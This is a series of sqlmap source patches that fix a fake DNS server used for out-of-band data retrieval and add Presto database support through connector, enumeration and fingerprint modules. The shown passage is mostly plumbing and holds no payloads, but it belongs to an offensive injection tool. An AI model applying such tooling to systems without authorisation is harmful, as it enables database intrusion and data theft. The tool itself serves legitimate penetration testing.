Date: Thu, 23 Jan 2020 11:46:17 +0100 Subject: [PATCH 099/159] Fixes #4082 --- lib/core/settings.py | 2 +- lib/request/dns.py | 28 ++++++++++++++++++---------- 2 files changed, 19 insertions(+), 11 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index fdf25a0e5..45098f417 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.39" +VERSION = "1.4.1.40" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index 352de63d2..ec1ac1e6c 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -17,13 +17,6 @@ import time class DNSQuery(object): """ - Used for making fake DNS resolution responses based on received - raw request - - Reference(s): - http://code.activestate.com/recipes/491264-mini-fake-dns-server/ - https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py - >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." True """ @@ -32,9 +25,9 @@ class DNSQuery(object): self._raw = raw self._query = b"" - type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits - if type_ == 0: # Standard query + if type_ == 0: # Standard query i = 12 j = ord(raw[i:i + 1]) @@ -65,6 +58,15 @@ class DNSQuery(object): return retVal class DNSServer(object): + """ + Used for making fake DNS resolution responses based on received + raw request + + Reference(s): + http://code.activestate.com/recipes/491264-mini-fake-dns-server/ + https://code.google.com/p/marlon-tools/source/browse/tools/dnsproxy/dnsproxy.py + """ + def __init__(self): self._check_localhost() self._requests = [] @@ -99,9 +101,15 @@ class DNSServer(object): retVal = None + if prefix and hasattr(prefix, "encode"): + prefix = prefix.encode() + + if suffix and hasattr(suffix, "encode"): + suffix = suffix.encode() + with self._lock: for _ in self._requests: - if prefix is None and suffix is None or re.search(r"%s\..+\.%s" % (prefix, suffix), _, re.I): + if prefix is None and suffix is None or re.search(b"%s\..+\.%s" % (prefix, suffix), _, re.I): retVal = _ self._requests.remove(_) break From 984808cc26148c61cea9321748bec7170a03b954 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 11:55:41 +0100 Subject: [PATCH 100/159] Fixes #4081 --- lib/core/settings.py | 2 +- lib/request/dns.py | 21 +++++++++++++-------- 2 files changed, 14 insertions(+), 9 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 45098f417..f720538e2 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.40" +VERSION = "1.4.1.41" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/request/dns.py b/lib/request/dns.py index ec1ac1e6c..629f43112 100644 --- a/lib/request/dns.py +++ b/lib/request/dns.py @@ -19,23 +19,28 @@ class DNSQuery(object): """ >>> DNSQuery(b'|K\\x01 \\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x01\\x03www\\x06google\\x03com\\x00\\x00\\x01\\x00\\x01\\x00\\x00)\\x10\\x00\\x00\\x00\\x00\\x00\\x00\\x0c\\x00\\n\\x00\\x08O4|Np!\\x1d\\xb3')._query == b"www.google.com." True + >>> DNSQuery(b'\\x00')._query == b"" + True """ def __init__(self, raw): self._raw = raw self._query = b"" - type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits + try: + type_ = (ord(raw[2:3]) >> 3) & 15 # Opcode bits - if type_ == 0: # Standard query - i = 12 - j = ord(raw[i:i + 1]) - - while j != 0: - self._query += raw[i + 1:i + j + 1] + b'.' - i = i + j + 1 + if type_ == 0: # Standard query + i = 12 j = ord(raw[i:i + 1]) + while j != 0: + self._query += raw[i + 1:i + j + 1] + b'.' + i = i + j + 1 + j = ord(raw[i:i + 1]) + except TypeError: + pass + def response(self, resolution): """ Crafts raw DNS resolution response packet From ec4880e0e126386521152a4aea39c549c1e901b4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 13:30:20 +0100 Subject: [PATCH 101/159] Fixes #4083 (drei) --- lib/controller/checks.py | 2 +- lib/core/settings.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index 29fe25e00..72aca0be1 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -884,7 +884,7 @@ def heuristicCheckDbms(injection): Backend.forceDbms(dbms) - if (randStr1 in unescaper.escape("'%s'" % randStr1)) and FROM_DUMMY_TABLE.values().count(FROM_DUMMY_TABLE.get(dbms, "")) != 1: + if (randStr1 in unescaper.escape("'%s'" % randStr1)) and list(FROM_DUMMY_TABLE.values()).count(FROM_DUMMY_TABLE.get(dbms, "")) != 1: continue if checkBooleanExpression("(SELECT '%s'%s)=%s%s%s" % (randStr1, FROM_DUMMY_TABLE.get(dbms, ""), SINGLE_QUOTE_MARKER, randStr1, SINGLE_QUOTE_MARKER)): diff --git a/lib/core/settings.py b/lib/core/settings.py index f720538e2..7a1f6205f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.41" +VERSION = "1.4.1.42" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From d5fab1907dd691f9e88ac45963b6bef85453e28f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 23 Jan 2020 16:59:02 +0100 Subject: [PATCH 102/159] Adding support for Presto --- data/xml/errors.xml | 8 ++ data/xml/queries.xml | 62 +++++++++++++ lib/controller/handler.py | 82 +++++++++-------- lib/core/agent.py | 4 +- lib/core/common.py | 6 +- lib/core/dicts.py | 2 + lib/core/enums.py | 2 + lib/core/settings.py | 8 +- lib/utils/deps.py | 2 + plugins/dbms/presto/__init__.py | 30 +++++++ plugins/dbms/presto/connector.py | 70 +++++++++++++++ plugins/dbms/presto/enumeration.py | 58 ++++++++++++ plugins/dbms/presto/filesystem.py | 18 ++++ plugins/dbms/presto/fingerprint.py | 137 +++++++++++++++++++++++++++++ plugins/dbms/presto/syntax.py | 22 +++++ plugins/dbms/presto/takeover.py | 28 ++++++ plugins/generic/databases.py | 12 +-- plugins/generic/entries.py | 4 +- 18 files changed, 500 insertions(+), 55 deletions(-) create mode 100644 plugins/dbms/presto/__init__.py create mode 100644 plugins/dbms/presto/connector.py create mode 100644 plugins/dbms/presto/enumeration.py create mode 100644 plugins/dbms/presto/filesystem.py create mode 100644 plugins/dbms/presto/fingerprint.py create mode 100644 plugins/dbms/presto/syntax.py create mode 100644 plugins/dbms/presto/takeover.py diff --git a/data/xml/errors.xml b/data/xml/errors.xml index 3afdbc91c..77c46bde3 100644 --- a/data/xml/errors.xml +++ b/data/xml/errors.xml @@ -202,4 +202,12 @@ + + + + + + + + diff --git a/data/xml/queries.xml b/data/xml/queries.xml index c606cbce7..ea2de83a5 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1130,4 +1130,66 @@ + + + + + + + + + + + + + + + + + + + + /> + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/lib/controller/handler.py b/lib/controller/handler.py index 5fca7156a..86ee67f21 100644 --- a/lib/controller/handler.py +++ b/lib/controller/handler.py @@ -11,59 +11,62 @@ from lib.core.data import kb from lib.core.dicts import DBMS_DICT from lib.core.enums import DBMS from lib.core.exception import SqlmapConnectionException +from lib.core.settings import ACCESS_ALIASES +from lib.core.settings import DB2_ALIASES +from lib.core.settings import DERBY_ALIASES +from lib.core.settings import FIREBIRD_ALIASES +from lib.core.settings import H2_ALIASES +from lib.core.settings import HSQLDB_ALIASES +from lib.core.settings import INFORMIX_ALIASES +from lib.core.settings import MAXDB_ALIASES from lib.core.settings import MCKOI_ALIASES +from lib.core.settings import MONETDB_ALIASES from lib.core.settings import MSSQL_ALIASES from lib.core.settings import MYSQL_ALIASES from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import PRESTO_ALIASES from lib.core.settings import SQLITE_ALIASES -from lib.core.settings import ACCESS_ALIASES -from lib.core.settings import FIREBIRD_ALIASES -from lib.core.settings import MAXDB_ALIASES from lib.core.settings import SYBASE_ALIASES -from lib.core.settings import DB2_ALIASES -from lib.core.settings import HSQLDB_ALIASES -from lib.core.settings import H2_ALIASES -from lib.core.settings import INFORMIX_ALIASES -from lib.core.settings import MONETDB_ALIASES -from lib.core.settings import DERBY_ALIASES from lib.core.settings import VERTICA_ALIASES from lib.utils.sqlalchemy import SQLAlchemy -from plugins.dbms.mckoi import MckoiMap -from plugins.dbms.mckoi.connector import Connector as MckoiConn -from plugins.dbms.mssqlserver import MSSQLServerMap -from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn -from plugins.dbms.mysql import MySQLMap -from plugins.dbms.mysql.connector import Connector as MySQLConn -from plugins.dbms.oracle import OracleMap -from plugins.dbms.oracle.connector import Connector as OracleConn -from plugins.dbms.postgresql import PostgreSQLMap -from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn -from plugins.dbms.sqlite import SQLiteMap -from plugins.dbms.sqlite.connector import Connector as SQLiteConn -from plugins.dbms.access import AccessMap from plugins.dbms.access.connector import Connector as AccessConn -from plugins.dbms.firebird import FirebirdMap -from plugins.dbms.firebird.connector import Connector as FirebirdConn -from plugins.dbms.maxdb import MaxDBMap -from plugins.dbms.maxdb.connector import Connector as MaxDBConn -from plugins.dbms.sybase import SybaseMap -from plugins.dbms.sybase.connector import Connector as SybaseConn -from plugins.dbms.db2 import DB2Map +from plugins.dbms.access import AccessMap from plugins.dbms.db2.connector import Connector as DB2Conn -from plugins.dbms.hsqldb import HSQLDBMap -from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn -from plugins.dbms.h2 import H2Map -from plugins.dbms.h2.connector import Connector as H2Conn -from plugins.dbms.informix import InformixMap -from plugins.dbms.informix.connector import Connector as InformixConn -from plugins.dbms.monetdb import MonetDBMap -from plugins.dbms.monetdb.connector import Connector as MonetDBConn -from plugins.dbms.derby import DerbyMap +from plugins.dbms.db2 import DB2Map from plugins.dbms.derby.connector import Connector as DerbyConn -from plugins.dbms.vertica import VerticaMap +from plugins.dbms.derby import DerbyMap +from plugins.dbms.firebird.connector import Connector as FirebirdConn +from plugins.dbms.firebird import FirebirdMap +from plugins.dbms.h2.connector import Connector as H2Conn +from plugins.dbms.h2 import H2Map +from plugins.dbms.hsqldb.connector import Connector as HSQLDBConn +from plugins.dbms.hsqldb import HSQLDBMap +from plugins.dbms.informix.connector import Connector as InformixConn +from plugins.dbms.informix import InformixMap +from plugins.dbms.maxdb.connector import Connector as MaxDBConn +from plugins.dbms.maxdb import MaxDBMap +from plugins.dbms.mckoi.connector import Connector as MckoiConn +from plugins.dbms.mckoi import MckoiMap +from plugins.dbms.monetdb.connector import Connector as MonetDBConn +from plugins.dbms.monetdb import MonetDBMap +from plugins.dbms.mssqlserver.connector import Connector as MSSQLServerConn +from plugins.dbms.mssqlserver import MSSQLServerMap +from plugins.dbms.mysql.connector import Connector as MySQLConn +from plugins.dbms.mysql import MySQLMap +from plugins.dbms.oracle.connector import Connector as OracleConn +from plugins.dbms.oracle import OracleMap +from plugins.dbms.postgresql.connector import Connector as PostgreSQLConn +from plugins.dbms.postgresql import PostgreSQLMap +from plugins.dbms.presto.connector import Connector as PrestoConn +from plugins.dbms.presto import PrestoMap +from plugins.dbms.sqlite.connector import Connector as SQLiteConn +from plugins.dbms.sqlite import SQLiteMap +from plugins.dbms.sybase.connector import Connector as SybaseConn +from plugins.dbms.sybase import SybaseMap from plugins.dbms.vertica.connector import Connector as VerticaConn +from plugins.dbms.vertica import VerticaMap def setHandler(): """ @@ -89,6 +92,7 @@ def setHandler(): (DBMS.DERBY, DERBY_ALIASES, DerbyMap, DerbyConn), (DBMS.VERTICA, VERTICA_ALIASES, VerticaMap, VerticaConn), (DBMS.MCKOI, MCKOI_ALIASES, MckoiMap, MckoiConn), + (DBMS.PRESTO, PRESTO_ALIASES, PrestoMap, PrestoConn), ] _ = max(_ if (conf.get("dbms") or Backend.getIdentifiedDbms() or kb.heuristicExtendedDbms or "").lower() in _[1] else () for _ in items) diff --git a/lib/core/agent.py b/lib/core/agent.py index dd6cc5dae..301118201 100644 --- a/lib/core/agent.py +++ b/lib/core/agent.py @@ -657,7 +657,7 @@ class Agent(object): elif fieldsNoSelect: concatenatedQuery = "CONCAT('%s',%s,'%s')" % (kb.chars.start, concatenatedQuery, kb.chars.stop) - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.ORACLE, DBMS.SQLITE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.H2, DBMS.MONETDB, DBMS.DERBY, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): if fieldsExists: concatenatedQuery = concatenatedQuery.replace("SELECT ", "'%s'||" % kb.chars.start, 1) concatenatedQuery += "||'%s'" % kb.chars.stop @@ -946,7 +946,7 @@ class Agent(object): fromFrom = limitedQuery[fromIndex + 1:] orderBy = None - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.SQLITE, DBMS.H2, DBMS.VERTICA, DBMS.PRESTO): limitStr = queries[Backend.getIdentifiedDbms()].limit.query % (num, 1) limitedQuery += " %s" % limitStr diff --git a/lib/core/common.py b/lib/core/common.py index b35e1074b..2dbaaa2ae 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1461,7 +1461,7 @@ def parseTargetDirect(): remote = False for dbms in SUPPORTED_DBMS: - details = re.search(r"^(?P%s)://(?P(?P.+?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I) + details = re.search(r"^(?P%s)://(?P(?P.*?)\:(?P.*)\@)?(?P(?P[\w.-]+?)\:(?P[\d]+)\/)?(?P[\w\d\ \:\.\_\-\/\\]+?)$" % dbms, conf.direct, re.I) if details: conf.dbms = details.group("dbms") @@ -4069,7 +4069,7 @@ def safeSQLIdentificatorNaming(name, isTable=False): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): # Note: in SQLite double-quotes are treated as string if column/identifier is non-existent (e.g. SELECT "foobar" FROM users) retVal = "`%s`" % retVal - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.HSQLDB, DBMS.H2, DBMS.INFORMIX, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): retVal = "\"%s\"" % retVal elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = "\"%s\"" % retVal.upper() @@ -4107,7 +4107,7 @@ def unsafeSQLIdentificatorNaming(name): if isinstance(name, six.string_types): if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.ACCESS, DBMS.SQLITE): retVal = name.replace("`", "") - elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI): + elif Backend.getIdentifiedDbms() in (DBMS.PGSQL, DBMS.DB2, DBMS.INFORMIX, DBMS.HSQLDB, DBMS.MONETDB, DBMS.VERTICA, DBMS.MCKOI, DBMS.PRESTO): retVal = name.replace("\"", "") elif Backend.getIdentifiedDbms() in (DBMS.ORACLE,): retVal = name.replace("\"", "").upper() diff --git a/lib/core/dicts.py b/lib/core/dicts.py index c1aa9278f..561502372 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -25,6 +25,7 @@ from lib.core.settings import MYSQL_ALIASES from lib.core.settings import NULL from lib.core.settings import ORACLE_ALIASES from lib.core.settings import PGSQL_ALIASES +from lib.core.settings import PRESTO_ALIASES from lib.core.settings import SQLITE_ALIASES from lib.core.settings import SYBASE_ALIASES from lib.core.settings import VERTICA_ALIASES @@ -206,6 +207,7 @@ DBMS_DICT = { DBMS.DERBY: (DERBY_ALIASES, "pydrda", "https://github.com/nakagami/pydrda/", None), DBMS.VERTICA: (VERTICA_ALIASES, "vertica-python", "https://github.com/vertica/vertica-python", "vertica+vertica_python"), DBMS.MCKOI: (MCKOI_ALIASES, None, None, None), + DBMS.PRESTO: (PRESTO_ALIASES, "presto-python-client", "https://github.com/prestodb/presto-python-client", None), } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ diff --git a/lib/core/enums.py b/lib/core/enums.py index 2d51dd080..76d0760af 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -49,6 +49,7 @@ class DBMS(object): DERBY = "Apache Derby" VERTICA = "Vertica" MCKOI = "Mckoi" + PRESTO = "Presto" class DBMS_DIRECTORY_NAME(object): ACCESS = "access" @@ -68,6 +69,7 @@ class DBMS_DIRECTORY_NAME(object): DERBY = "derby" VERTICA = "vertica" MCKOI = "mckoi" + PRESTO = "presto" class FORK(object): MARIADB = "MariaDB" diff --git a/lib/core/settings.py b/lib/core/settings.py index 7a1f6205f..3ea1fef5f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -18,7 +18,7 @@ from lib.core.enums import OS from thirdparty.six import unichr as _unichr # sqlmap version (...) -VERSION = "1.4.1.42" +VERSION = "1.4.1.43" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -263,6 +263,7 @@ MONETDB_SYSTEM_DBS = ("tmp", "json", "profiler") DERBY_SYSTEM_DBS = ("NULLID", "SQLJ", "SYS", "SYSCAT", "SYSCS_DIAG", "SYSCS_UTIL", "SYSFUN", "SYSIBM", "SYSPROC", "SYSSTAT") VERTICA_SYSTEM_DBS = ("v_catalog", "v_internal", "v_monitor",) MCKOI_SYSTEM_DBS = ("",) +PRESTO_SYSTEM_DBS = ("information_schema",) MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql") @@ -281,15 +282,16 @@ MONETDB_ALIASES = ("monet", "monetdb",) DERBY_ALIASES = ("derby", "apache derby",) VERTICA_ALIASES = ("vertica",) MCKOI_ALIASES = ("mckoi",) +PRESTO_ALIASES = ("presto",) UPPER_CASE_IDENTIFIERS = set((DBMS.ORACLE, DBMS.DB2, DBMS.FIREBIRD, DBMS.HSQLDB, DBMS.MAXDB, DBMS.H2, DBMS.DERBY)) DBMS_DIRECTORY_DICT = dict((getattr(DBMS, _), getattr(DBMS_DIRECTORY_NAME, _)) for _ in dir(DBMS) if not _.startswith("_")) -SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES +SUPPORTED_DBMS = MSSQL_ALIASES + MYSQL_ALIASES + PGSQL_ALIASES + ORACLE_ALIASES + SQLITE_ALIASES + ACCESS_ALIASES + FIREBIRD_ALIASES + MAXDB_ALIASES + SYBASE_ALIASES + DB2_ALIASES + HSQLDB_ALIASES + H2_ALIASES + INFORMIX_ALIASES + MONETDB_ALIASES + DERBY_ALIASES + VERTICA_ALIASES + MCKOI_ALIASES + PRESTO_ALIASES SUPPORTED_OS = ("linux", "windows") -DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES)) +DBMS_ALIASES = ((DBMS.MSSQL, MSSQL_ALIASES), (DBMS.MYSQL, MYSQL_ALIASES), (DBMS.PGSQL, PGSQL_ALIASES), (DBMS.ORACLE, ORACLE_ALIASES), (DBMS.SQLITE, SQLITE_ALIASES), (DBMS.ACCESS, ACCESS_ALIASES), (DBMS.FIREBIRD, FIREBIRD_ALIASES), (DBMS.MAXDB, MAXDB_ALIASES), (DBMS.SYBASE, SYBASE_ALIASES), (DBMS.DB2, DB2_ALIASES), (DBMS.HSQLDB, HSQLDB_ALIASES), (DBMS.H2, H2_ALIASES), (DBMS.INFORMIX, INFORMIX_ALIASES), (DBMS.MONETDB, MONETDB_ALIASES), (DBMS.DERBY, DERBY_ALIASES), (DBMS.VERTICA, VERTICA_ALIASES), (DBMS.MCKOI, MCKOI_ALIASES), (DBMS.PRESTO, PRESTO_ALIASES)) USER_AGENT_ALIASES = ("ua", "useragent", "user-agent") REFERER_ALIASES = ("ref", "referer", "referrer") diff --git a/lib/utils/deps.py b/lib/utils/deps.py index 006bc2e5e..19fab922f 100644 --- a/lib/utils/deps.py +++ b/lib/utils/deps.py @@ -52,6 +52,8 @@ def checkDependencies(): __import__("drda") elif dbmsName == DBMS.VERTICA: __import__("vertica_python") + elif dbmsName == DBMS.PRESTO: + __import__("prestodb") except: warnMsg = "sqlmap requires '%s' third-party library " % data[1] warnMsg += "in order to directly connect to the DBMS " diff --git a/plugins/dbms/presto/__init__.py b/plugins/dbms/presto/__init__.py new file mode 100644 index 000000000..05f883134 --- /dev/null +++ b/plugins/dbms/presto/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import PRESTO_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.presto.enumeration import Enumeration +from plugins.dbms.presto.filesystem import Filesystem +from plugins.dbms.presto.fingerprint import Fingerprint +from plugins.dbms.presto.syntax import Syntax +from plugins.dbms.presto.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class PrestoMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Presto methods + """ + + def __init__(self): + self.excludeDbsList = PRESTO_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.PRESTO] = Syntax.escape diff --git a/plugins/dbms/presto/connector.py b/plugins/dbms/presto/connector.py new file mode 100644 index 000000000..86b18d1e2 --- /dev/null +++ b/plugins/dbms/presto/connector.py @@ -0,0 +1,70 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import prestodb +except: + pass + +import logging +import struct + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/prestodb/presto-python-client + User guide: https://github.com/prestodb/presto-python-client/blob/master/README.md + API: https://www.python.org/dev/peps/pep-0249/ + PyPI package: presto-python-client + License: Apache License 2.0 + """ + + def connect(self): + self.initConnection() + + try: + self.connector = prestodb.dbapi.connect(host=self.hostname, user=self.user, catalog=self.db, port=self.port, request_timeout=conf.timeout) + except (prestodb.exceptions.OperationalError, prestodb.exceptions.InternalError, prestodb.exceptions.ProgrammingError, struct.error) as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except prestodb.exceptions.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + retVal = False + + try: + self.cursor.execute(query) + retVal = True + except (prestodb.exceptions.OperationalError, prestodb.exceptions.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except prestodb.exceptions.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + return retVal + + def select(self, query): + retVal = None + + if self.execute(query): + retVal = self.fetchall() + + return retVal diff --git a/plugins/dbms/presto/enumeration.py b/plugins/dbms/presto/enumeration.py new file mode 100644 index 000000000..e36ed2ab9 --- /dev/null +++ b/plugins/dbms/presto/enumeration.py @@ -0,0 +1,58 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on Presto it is not possible to get a banner" + logger.warn(warnMsg) + + return None + + def getCurrentDb(self): + warnMsg = "on Presto it is not possible to get name of the current database (schema)" + logger.warn(warnMsg) + + def isDba(self, user=None): + warnMsg = "on Presto it is not possible to test if current user is DBA" + logger.warn(warnMsg) + + def getUsers(self): + warnMsg = "on Presto it is not possible to enumerate the users" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on Presto it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Presto it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Presto it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on Presto it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/presto/filesystem.py b/plugins/dbms/presto/filesystem.py new file mode 100644 index 000000000..68a6bf093 --- /dev/null +++ b/plugins/dbms/presto/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on Presto it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on Presto it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/presto/fingerprint.py b/plugins/dbms/presto/fingerprint.py new file mode 100644 index 000000000..aa0dc14fd --- /dev/null +++ b/plugins/dbms/presto/fingerprint.py @@ -0,0 +1,137 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import PRESTO_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class 